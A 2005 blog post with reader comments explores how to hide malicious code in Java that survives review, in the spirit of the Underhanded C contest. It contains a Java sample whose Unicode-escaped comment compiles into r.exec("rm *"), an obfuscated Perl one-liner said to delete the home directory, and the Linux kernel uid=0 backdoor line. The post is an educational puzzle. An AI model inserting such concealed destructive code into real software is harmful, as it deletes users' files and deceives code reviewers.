<< The best Javascript editor so far | Home | Debugging Javascript under Firefox 1.5 >>

Writing malicious code in Java

The underhanded C contest is all about writing C code that looks innocent enough to get past a security review, but does something nasty on the side. It got me thinking about how to subvert things in Java.

Somewhat predictably the C contest was dominated by a small number of tricks:

  • Buffer overflow
  • Array bounds violation
  • Getting = and == the wrong way around

Java neatly sidesteps the first 2 by doing the checking for you. It’s kind of silly that we’re still fighting those 2 issues something like 30 years since they were first identified as being serious problems.

Java does a lot to shut down the =/== confusion by refusing to silently convert to a boolean. So Java programmers are a lot safer there too. Some code nearly got into the Linux kernel containing a just such a back-door:

if ((options == (__WCLONE|__WALL)) && (current->uid = 0))
    retval = -EINVAL;

The net effect was to become root rather than check you are root. Oops.

Java's Strengths: High alpha to punctuation ratio

Some languages resemble line noise, and consequently can be very hard to understand. Perl would be the obvious culprit. I’m told that the following will delete your home directory:

perl -e '$??s:;s:s;;$?::s;;=]=>%-{<-|}<&|`{;;y;
 -/:-@[-`{-};`-{~" -;;s;;$_;see'

(I read it on Slashdot so it must be true. Of course I know you’re not going to test it out either so I could have just written rubbish above and no-one would know.)

Any language with a low alpha to punctuation ratio has plenty of scope for hiding malicious code in amongst innocent code. This is one of the reasons why generics has got a bad press – it lowers Java's alpha to punctuation ratio. It’s also the reason why I’m not too keen on regexs.

Java's Strengths: Security Manager

We perhaps ought to use this more than we do. I would guess that the vast majority of Java installations do not use the SecurityManager even in institutions that have high security requirements and don't particularly like trusting their programmers.

Java's Weaknesses

Java does have weaknesses, and the code below shows one of them.

I thought about using the trick of making immutable strings become mutable but decided there was a better way.

So here is my attempt at hiding malicious code using Java. It should be fairly obvious that the byte array contains "rm *" (which will delete all the files from the current directory on Unix) so that bit isn't well hidden. I guess I'd need to hide that bit away somewhere. The question is how did I subvert things so that the byte array at the bottom actually gets passed into the runtime.exec() at the top?

Since the code is Unix specific, on Windows I get the error message: "java.io.IOException: CreateProcess: rm * error=2":

DO NOT RUN THIS CODE UNLESS YOU REALLY WANT TO DELETE RANDOM FILES FROM YOUR COMPUTER. THE CODE BELOW IS MALICIOUS BUT IT IS DESIGNED TO LOOK INNOCENT.

import java.io.OutputStream;
import java.net.Socket;

public class Test {

  public static void main(String[] args) throws Exception {
    Test test = new Test();
    test.debug("hello");
  }

  public void debug(String msg) throws Exception {
    String s = "/usr/bin/logger ";
    Runtime r = Runtime.getRuntime();

    if (System.getProperty("os.name").equals("linux")) {
      /*
       * On linux we can make use of the  /usr/bin/logger command to keep
       * things simple.
       */
      r.exec(s + msg);
    }
    else {
      /*
       * Syslog code borrowed from log4j  by Ceki Gulc\u00FC
       * Network syslog calls must begin  with the following byte sequence:
       * \u002A\u002F \u0072 \u002E  \u0065\u0078\u0065c (\u0022 \u0072\u006D \u002A \u0022) \u003B \u002F\u002A<
       * followed by the message. For  more information see:
       *  http://cvs.apache.org/viewcvs.cgi/logging-log4j/src/java/org/apache/log4j/net/SyslogConstants.java?view=markup
       */
      Socket socket = new Socket("loghost", 514);
      OutputStream out = socket.getOutputStream();
      out.write(new byte[] { 0x2A, 0x2F, 0x72, 0x2E, 0x65, 0x78, 0x65, 0x22,  0x72, 0x6D, 0x22, 0x3B, 0x2F, 0x2A });
      out.write(msg.getBytes());
    }
  }
}

If you suss it out or if you have a clue, please comment.

Tags :


Re: Writing malicious code in Java

<span class="answer">Comments are very helpful ;)</span>

Re: Writing malicious code in Java

Answer: <span class="answer">It's because System.getProperty("os.name") on a linux box returns "Linux" not "linux"</span>

Another thing to keep in mind is that Java can't be anywhere near as malicious as C, because it's much more high level. Whether that's good thing or not, well people have argued about that enough already...

Re: Writing malicious code in Java

Well spotted on the Linux|linux thing, but it doesn't explain how the byte array at the bottom gets executed.

Re: Writing malicious code in Java

Port 514 is syslog using UDP, but you are using port 514 for a TCP connection which is rsh. Then you are executing some command that you disguised in hex (presumably 'rm *' or something similar).

Re: Writing malicious code in Java

Oops, sorry about spoiling the thing... The spanning looked as you described it when I previewed the post... Of course, I've just noticed the following at the bottom of the page : "Allowed HTML/XHTML tags : b, i, blockquote, br, p, pre, a href="", ul, ol, li".... Sorry....

Re: Writing malicious code in Java

Is it rsh on 514? */r.exe"rm";/* But anyway, doesn't the shell i.e. bash do the wildcard expansion.

Re: Writing malicious code in Java

Port 514 is the syslog port so that's not the trick.

you're right however about it being the shell that expands the *, so maybe this will only delete a single file called "*". It won't surprise you to learn that I've not tested this on unix!

Re: Writing malicious code in Java

Unicode escapes are preprocessed by the compiler, so the line * \u002A\u002F \u0072 \u002E \u0065\u0078\u0065c (\u0022 \u0072\u006D \u002A \u0022) \u003B \u002F\u002A becomes something like */ r.exec("rm *") /* This coupled with the incorrect check for "linux" assures that the code will execute for both Linux and Windows

Re: Writing malicious code in Java

The give away is the stack trace of the error message. It tells that the call was made on line 26 of the code, which is in the middle of the comment block of the else branch. Everything else can be figured out from there.
In the worst case, one could decompile the class and see what was different.
Troubleshooting techniques at work.... :-)

Re: Writing malicious code in Java

Very cute. Easy to figure out when you stated this was malicious. But the eye would have skipped right over it in a big block of code if you weren't on top of this technique.

Re: Writing malicious code in Java

Would exploiting bugs in Java itself be a fair technique? If it is, then I think this bug is one that would have been worth exploiting...

http://directwebremoting.org/blog/joe/2005/09/28/writing_malicious_code_in_java.html


Add a comment Send a TrackBack